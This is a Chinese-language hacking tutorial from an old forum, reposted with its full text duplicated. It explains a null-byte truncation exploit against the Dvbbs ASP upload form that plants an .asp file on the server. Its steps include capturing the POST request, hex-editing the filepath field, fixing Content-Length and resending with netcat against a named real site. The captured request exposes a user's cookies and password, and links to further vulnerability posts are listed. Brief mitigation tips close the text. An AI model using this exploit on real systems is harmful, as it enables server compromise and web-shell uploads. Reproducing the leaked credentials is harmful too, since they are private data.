asp 之上傳漏洞終結(jié)篇
更新時(shí)間:2007年03月24日 00:00:00 作者:
收藏關(guān)于上傳漏洞的文章,最近一直遇到這個(gè)麻煩,
作者:szjwwwww
出自:黑鷹基地論壇
http://www.3800cc.com
一、寫在前面
***這個(gè)上傳漏洞利用的原理只是針對(duì)form格式上傳的asp和php腳本***
NC(Netcat)
用于提交 數(shù)據(jù)包
DOS界面下運(yùn)行:
NC -vv www.***.com 80<1.txt
-vv: 回顯
80: www端口
1.txt: 就是你要發(fā)送的數(shù)據(jù)包
(更多使用方法請(qǐng)查看本區(qū)的帖子)
WSE(WSockExpert)
對(duì)本機(jī)端口的監(jiān)視,抓取IE提交的數(shù)據(jù)包
(不會(huì)用的就自己到網(wǎng)上搜資料N多)
二、漏洞原理
下面例子假設(shè)的前提
www主機(jī): www.***.com;
bbs路徑 : /bbs/
漏洞源于對(duì)動(dòng)網(wǎng)上傳文件的研究,建議有一定編程經(jīng)驗(yàn)的
看看Dvbbs的upfile.asp文件,沒有必要全部看懂
upfile是通過生成一個(gè)form表上傳,
用到的變量:
filepath 默認(rèn)值uploadface 屬性hiden
act 默認(rèn)值upload 屬性hiden
file1 就是你要傳的那個(gè)文件
關(guān)鍵是 filepath 這個(gè)變量!
默認(rèn)情況下我們的文件上傳到www.***.com/bbs/uploadface/
文件是用你的上傳時(shí)間命名的,就是upfile里的這一句
FileName=FormPath&year(now)&month(now)&day(now)&hour(now)&minute(now)&second(now)&ranNum&"."&FileExt
-------------------------------------------------------------------------
我們知道計(jì)算機(jī)里面的數(shù)據(jù)是一"\0"為標(biāo)致的用過C語(yǔ)言的都知道
char data[]="bbs"
這個(gè)data數(shù)組長(zhǎng)度是4: b b s \0
如果我們構(gòu)造filepath如下,會(huì)怎么樣呢?
filepath="/newmm.asp\0"
我們?cè)?004.09.24.08.24傳的文件就會(huì)發(fā)生變化
沒有改時(shí):
http://www.***.com/bbs/uploadface/200409240824.jpg
用我們構(gòu)造的filepath時(shí):
http://www.***.com/newmm.asp\0/200409240824.jpg
這樣當(dāng)服務(wù)器接收filepath數(shù)據(jù)時(shí),檢測(cè)到newmm.asp后面的\0
就理解為filepath的數(shù)據(jù)就結(jié)束了
這樣我們上傳的文件,比如c:\1.asp
就保存成: http://www.***.com/newmm.asp
三、后期補(bǔ)充
漏洞公布以后很多網(wǎng)站做了相應(yīng)的處理,但是對(duì)于filepath的過濾和處理都不行
有很多網(wǎng)站只是加了N個(gè)hiden屬性的變量對(duì)付網(wǎng)上公布的upfile.exe就是那個(gè)
上傳漏洞利用工具或者filepath變量利用工具(老兵的)...但是最基本的沒改啊。。
而且很對(duì)網(wǎng)站的插件里有類似的漏洞,我要說的不要依賴哪些專門的工具
自己改WSE抓到的包里的filepath變量,然后在用NC提交。。。
就算他加N個(gè)hiden變量也于事無補(bǔ)。
當(dāng)然,如果對(duì)filepath做了很嚴(yán)格的過濾的話我們的這些理論就將宣告終結(jié)
就是我們的新理論誕生的時(shí)候!
四、漏洞列表
http://dvd.3800cc.com/dispbbs.asp?BoardID=20&ID=5369
http://dvd.3800cc.com/dispbbs.asp?BoardID=20&ID=5530
http://dvd.3800cc.com/dispbbs.asp?BoardID=20&ID=5531
http://dvd.3800cc.com/dispbbs.asp?BoardID=20&ID=5693
http://dvd.3800cc.com/dispbbs.asp?BoardID=20&ID=5731
http://dvd.3800cc.com/dispbbs.asp?BoardID=20&ID=5746
監(jiān)聽外部主機(jī)
NC [-options] hostname port[s] [ports] ...
監(jiān)聽本地主機(jī)
NC -l -p port [options] [hostname] [port]
options:
-d detach from console, stealth mode
-e prog inbound program to exec [dangerous!!]
-g gateway source-routing hop point[s], up to 8
-G num source-routing pointer: 4, 8, 12, ...
-h this cruft
-i secs delay interval for lines sent, ports scanned
-l listen mode, for inbound connects
-L listen harder, re-listen on socket close
-n numeric-only IP addresses, no DNS
-o file hex dump of traffic
-p port local port number
-r randomize local and remote ports
-s addr local source address
-t answer TELNET negotiation
-u UDP mode
-v verbose [use twice to be more verbose]
-w secs timeout for connects and final net reads
-z zero-I/O mode [used for scanning]
port numbers can be individual or ranges: m-n [inclusive]
詳細(xì)實(shí)例:
---------------------------------------------------------------------------------
一、WSE抓包結(jié)果(存到1.txt里):
POST /bbs/upPhoto/upfile.asp HTTP/1.1
Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, application/x-shockwave-flash, application/vnd.ms-excel, application/vnd.ms-powerpoint, application/msword, */*
Referer: http://www.xin126.com/bbs/upPhoto/upload.asp
Accept-Language: zh-cn
Content-Type: multipart/form-data; boundary=---------------------------7d423a138d0278
Accept-Encoding: gzip, deflate
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; .NET CLR 1.1.4322)
Host: www.xin126.com
Content-Length: 1969
Connection: Keep-Alive
Cache-Control: no-cache
Cookie: ASPSESSIONIDACCCCDCS=NJHCPHPALBCANKOBECHKJANF; isCome=1; GAMVANCOOKIES=1; regTime=2004%2D9%2D24+3%3A39%3A37; username=szjwwwww; pass=5211314; dl=0; userID=62; ltStyle=0; loginTry=1; userPass=eb03f6c72908fd84
-----------------------------7d423a138d0278
Content-Disposition: form-data; name="filepath"
../medias/myPhoto/
-----------------------------7d423a138d0278
... ...
上傳
-----------------------------7d423a138d0278--
---------------------------------------------------------------------------------
二、UltraEdit打開1.txt改數(shù)據(jù):
......
-----------------------------7d423a138d0278
Content-Disposition: form-data; name="filepath"
/newmm.asp█ <===這個(gè)黑色代表一個(gè)空格是 0x20,改成0x00就可以了
......
三、重新計(jì)算cookies長(zhǎng)度,然后nc提交
Nc -vv www.xin126.com 80 <1.txt
UltraEdit是一個(gè)16位編輯器網(wǎng)上可以下載得到
我們主要用來寫那個(gè)結(jié)束標(biāo)致: \0 ====>16位表示:0x00或者00H
其實(shí)你改的時(shí)候就直接再filepath的結(jié)尾
處加個(gè)00就OK了
計(jì)算cookies長(zhǎng)度===>你把fillepath改了之后、肯定是或+或—cookies的長(zhǎng)度變了
......
Host: www.xin126.com
Content-Length: 1969 <======就是這個(gè)
Connection: Keep-Alive
Cache-Control: no-cache
......
計(jì)算會(huì)吧?一個(gè)字母、數(shù)字就是1
對(duì)于上傳漏洞提出的解決思路:(僅供參考)
1、一般的上傳是把上傳路徑作為一個(gè)變量來處理
===>我們的對(duì)策就是把filepath變成常量。。。
這個(gè)方法是目前最有效的(我認(rèn)為的)
2、加強(qiáng)對(duì)于\0的處理,原來我們是讀到這里就結(jié)束
我們繼續(xù)讀直道下一個(gè)變量開始的地方,處理就OK了
作者:szjwwwww
出自:黑鷹基地論壇
http://www.3800cc.com
一、寫在前面
***這個(gè)上傳漏洞利用的原理只是針對(duì)form格式上傳的asp和php腳本***
NC(Netcat)
用于提交 數(shù)據(jù)包
DOS界面下運(yùn)行:
NC -vv www.***.com 80<1.txt
-vv: 回顯
80: www端口
1.txt: 就是你要發(fā)送的數(shù)據(jù)包
(更多使用方法請(qǐng)查看本區(qū)的帖子)
WSE(WSockExpert)
對(duì)本機(jī)端口的監(jiān)視,抓取IE提交的數(shù)據(jù)包
(不會(huì)用的就自己到網(wǎng)上搜資料N多)
二、漏洞原理
下面例子假設(shè)的前提
www主機(jī): www.***.com;
bbs路徑 : /bbs/
漏洞源于對(duì)動(dòng)網(wǎng)上傳文件的研究,建議有一定編程經(jīng)驗(yàn)的
看看Dvbbs的upfile.asp文件,沒有必要全部看懂
upfile是通過生成一個(gè)form表上傳,
用到的變量:
filepath 默認(rèn)值uploadface 屬性hiden
act 默認(rèn)值upload 屬性hiden
file1 就是你要傳的那個(gè)文件
關(guān)鍵是 filepath 這個(gè)變量!
默認(rèn)情況下我們的文件上傳到www.***.com/bbs/uploadface/
文件是用你的上傳時(shí)間命名的,就是upfile里的這一句
FileName=FormPath&year(now)&month(now)&day(now)&hour(now)&minute(now)&second(now)&ranNum&"."&FileExt
-------------------------------------------------------------------------
我們知道計(jì)算機(jī)里面的數(shù)據(jù)是一"\0"為標(biāo)致的用過C語(yǔ)言的都知道
char data[]="bbs"
這個(gè)data數(shù)組長(zhǎng)度是4: b b s \0
如果我們構(gòu)造filepath如下,會(huì)怎么樣呢?
filepath="/newmm.asp\0"
我們?cè)?004.09.24.08.24傳的文件就會(huì)發(fā)生變化
沒有改時(shí):
http://www.***.com/bbs/uploadface/200409240824.jpg
用我們構(gòu)造的filepath時(shí):
http://www.***.com/newmm.asp\0/200409240824.jpg
這樣當(dāng)服務(wù)器接收filepath數(shù)據(jù)時(shí),檢測(cè)到newmm.asp后面的\0
就理解為filepath的數(shù)據(jù)就結(jié)束了
這樣我們上傳的文件,比如c:\1.asp
就保存成: http://www.***.com/newmm.asp
三、后期補(bǔ)充
漏洞公布以后很多網(wǎng)站做了相應(yīng)的處理,但是對(duì)于filepath的過濾和處理都不行
有很多網(wǎng)站只是加了N個(gè)hiden屬性的變量對(duì)付網(wǎng)上公布的upfile.exe就是那個(gè)
上傳漏洞利用工具或者filepath變量利用工具(老兵的)...但是最基本的沒改啊。。
而且很對(duì)網(wǎng)站的插件里有類似的漏洞,我要說的不要依賴哪些專門的工具
自己改WSE抓到的包里的filepath變量,然后在用NC提交。。。
就算他加N個(gè)hiden變量也于事無補(bǔ)。
當(dāng)然,如果對(duì)filepath做了很嚴(yán)格的過濾的話我們的這些理論就將宣告終結(jié)
就是我們的新理論誕生的時(shí)候!
四、漏洞列表
http://dvd.3800cc.com/dispbbs.asp?BoardID=20&ID=5369
http://dvd.3800cc.com/dispbbs.asp?BoardID=20&ID=5530
http://dvd.3800cc.com/dispbbs.asp?BoardID=20&ID=5531
http://dvd.3800cc.com/dispbbs.asp?BoardID=20&ID=5693
http://dvd.3800cc.com/dispbbs.asp?BoardID=20&ID=5731
http://dvd.3800cc.com/dispbbs.asp?BoardID=20&ID=5746
監(jiān)聽外部主機(jī)
NC [-options] hostname port[s] [ports] ...
監(jiān)聽本地主機(jī)
NC -l -p port [options] [hostname] [port]
options:
-d detach from console, stealth mode
-e prog inbound program to exec [dangerous!!]
-g gateway source-routing hop point[s], up to 8
-G num source-routing pointer: 4, 8, 12, ...
-h this cruft
-i secs delay interval for lines sent, ports scanned
-l listen mode, for inbound connects
-L listen harder, re-listen on socket close
-n numeric-only IP addresses, no DNS
-o file hex dump of traffic
-p port local port number
-r randomize local and remote ports
-s addr local source address
-t answer TELNET negotiation
-u UDP mode
-v verbose [use twice to be more verbose]
-w secs timeout for connects and final net reads
-z zero-I/O mode [used for scanning]
port numbers can be individual or ranges: m-n [inclusive]
詳細(xì)實(shí)例:
---------------------------------------------------------------------------------
一、WSE抓包結(jié)果(存到1.txt里):
POST /bbs/upPhoto/upfile.asp HTTP/1.1
Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, application/x-shockwave-flash, application/vnd.ms-excel, application/vnd.ms-powerpoint, application/msword, */*
Referer: http://www.xin126.com/bbs/upPhoto/upload.asp
Accept-Language: zh-cn
Content-Type: multipart/form-data; boundary=---------------------------7d423a138d0278
Accept-Encoding: gzip, deflate
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; .NET CLR 1.1.4322)
Host: www.xin126.com
Content-Length: 1969
Connection: Keep-Alive
Cache-Control: no-cache
Cookie: ASPSESSIONIDACCCCDCS=NJHCPHPALBCANKOBECHKJANF; isCome=1; GAMVANCOOKIES=1; regTime=2004%2D9%2D24+3%3A39%3A37; username=szjwwwww; pass=5211314; dl=0; userID=62; ltStyle=0; loginTry=1; userPass=eb03f6c72908fd84
-----------------------------7d423a138d0278
Content-Disposition: form-data; name="filepath"
../medias/myPhoto/
-----------------------------7d423a138d0278
... ...
上傳
-----------------------------7d423a138d0278--
---------------------------------------------------------------------------------
二、UltraEdit打開1.txt改數(shù)據(jù):
......
-----------------------------7d423a138d0278
Content-Disposition: form-data; name="filepath"
/newmm.asp█ <===這個(gè)黑色代表一個(gè)空格是 0x20,改成0x00就可以了
......
三、重新計(jì)算cookies長(zhǎng)度,然后nc提交
Nc -vv www.xin126.com 80 <1.txt
UltraEdit是一個(gè)16位編輯器網(wǎng)上可以下載得到
我們主要用來寫那個(gè)結(jié)束標(biāo)致: \0 ====>16位表示:0x00或者00H
其實(shí)你改的時(shí)候就直接再filepath的結(jié)尾
處加個(gè)00就OK了
計(jì)算cookies長(zhǎng)度===>你把fillepath改了之后、肯定是或+或—cookies的長(zhǎng)度變了
......
Host: www.xin126.com
Content-Length: 1969 <======就是這個(gè)
Connection: Keep-Alive
Cache-Control: no-cache
......
計(jì)算會(huì)吧?一個(gè)字母、數(shù)字就是1
對(duì)于上傳漏洞提出的解決思路:(僅供參考)
1、一般的上傳是把上傳路徑作為一個(gè)變量來處理
===>我們的對(duì)策就是把filepath變成常量。。。
這個(gè)方法是目前最有效的(我認(rèn)為的)
2、加強(qiáng)對(duì)于\0的處理,原來我們是讀到這里就結(jié)束
我們繼續(xù)讀直道下一個(gè)變量開始的地方,處理就OK了
相關(guān)文章
從一個(gè)網(wǎng)站扒下的asp生成靜態(tài)頁(yè)面的代碼 腳本之家特供版
雖然腳本之家以前發(fā)布過相關(guān)的代碼,但一些特別的網(wǎng)站不是很完美,最近幫客戶修改系統(tǒng)發(fā)現(xiàn)了這段代碼,發(fā)現(xiàn)還不錯(cuò),特提取出來,方便大家使用。2011-07-07asp最簡(jiǎn)單最實(shí)用的計(jì)數(shù)器
asp最簡(jiǎn)單最實(shí)用的計(jì)數(shù)器...2007-09-09用VB生成DLL封裝ASP連接數(shù)據(jù)庫(kù)的代碼
用VB生成DLL封裝ASP連接數(shù)據(jù)庫(kù)的代碼...2007-02-02